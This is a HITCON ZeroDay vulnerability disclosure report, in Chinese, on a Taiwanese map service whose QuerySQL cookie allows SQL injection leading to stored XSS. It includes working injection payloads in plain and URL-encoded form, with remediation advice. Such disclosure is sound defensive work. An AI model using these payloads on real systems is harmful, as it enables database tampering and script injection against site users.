Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00080
- Vendor: 台灣電子地圖服務網
- Title: 全國達康提供的地圖查詢功能存在資料庫注入漏洞及儲存型XSS
- Introduction: Cookie的QuerySQL欄位存在資料庫注入漏洞(SQL Injection)漏洞,並可利用此漏洞植入儲存型XSS
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2021/02/21 12:13:49 : 新提交 (由 阿美 更新此狀態)
- 2021/02/22 08:23:30 : 新提交 (由 阿美 更新此狀態)
- 2021/02/22 22:57:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/02/23 15:44:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/02/23 15:44:00 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/02/23 15:44:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/04/21 12:19:39 : 複測申請中 (由 組織帳號 更新此狀態)
- 2021/04/28 21:20:45 : 確認已修補 (由 阿美 更新此狀態)
- 2021/04/29 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00080
- 通報者:gmwa (阿美)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
只要修改QuerySQL的內容,再重新瀏覽上述網址,後端應用程式會直接使用QuerySQL的內容查詢資料庫。嘗試將QuerySQL的條件句(WHERE及之後)刪除,再重新瀏覽上述網址,發現回傳1839頁,確認可利用QuerySQL注入SQL語句(圖2)。
經嘗試將QuerySQL修改成「insert into oemdata(sno, name, addr, tel, fax, genus) values('ptest','<script>alert(/name/);</script>','滲透測試','<script>alert(/tel/);</script>','<script>alert(/fax/);</script>','TEST');select sno, genus, class, name, fax, addr, tel, GenusType, no, px, py, info, user from oemdata WHERE (Genus='twbank') AND (class = 'B1478') and (Name like '%%' or Name like '%%')」(URL Encode後為「insert%20into%20oemdata%28sno%2C%20name%2C%20addr%2C%20tel%2C%20fax%2C%20genus%29%20%20values%28%27ptest%27%2C%27%3Cscript%3Ealert%28%2Fname%2F%29%3B%3C%2Fscript%3E%27%2C%27%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6%27%2C%27%3Cscript%3Ealert%28%2Ftel%2F%29%3B%3C%2Fscript%3E%27%2C%27%3Cscript%3Ealert%28%2Ffax%2F%29%3B%3C%2Fscript%3E%27%2C%27TEST%27%29%3Bselect%20sno%2C%20genus%2C%20class%2C%20name%2C%20fax%2C%20addr%2C%20tel%2C%20GenusType%2C%20no%2C%20px%2C%20py%2C%20info%2C%20user%20from%20%20oemdata%20WHERE%20%28Genus%3D%27twbank%27%29%20AND%20%28class%20%3D%20%27B1478%27%29%20and%20%28Name%20like%20%27%25%25%27%20or%20Name%20like%20%27%25%25%27%29」),雖然頁面顯示500,內部錯誤,但已成功在資料庫新增一筆。
將QuerySQL修改成「select sno, genus, class, name, fax, addr, tel, GenusType, no, px, py, info, user from oemdata WHERE (Genus='TEST')」(URL Encode後為「select%20sno%2C%20genus%2C%20class%2C%20name%2C%20fax%2C%20addr%2C%20tel%2C%20GenusType%2C%20no%2C%20px%2C%20py%2C%20info%2C%20user%20from%20%20oemdata%20WHERE%20%28Genus%3D%27TEST%27%29」),再重新瀏覽,可發現成功建立儲存型XSS(圖3)
修補建議
1.若需要在session的不同網頁間交換資料,請利用後端的session變數儲存待交換的內容。Cookie及頁面的隱藏欄位並不具任何防護能力。
2.對於任何 輸出到網頁的內容都需要進行內容轉譯(Escape),可有效避免大多數的跨站腳本(XSS)攻擊。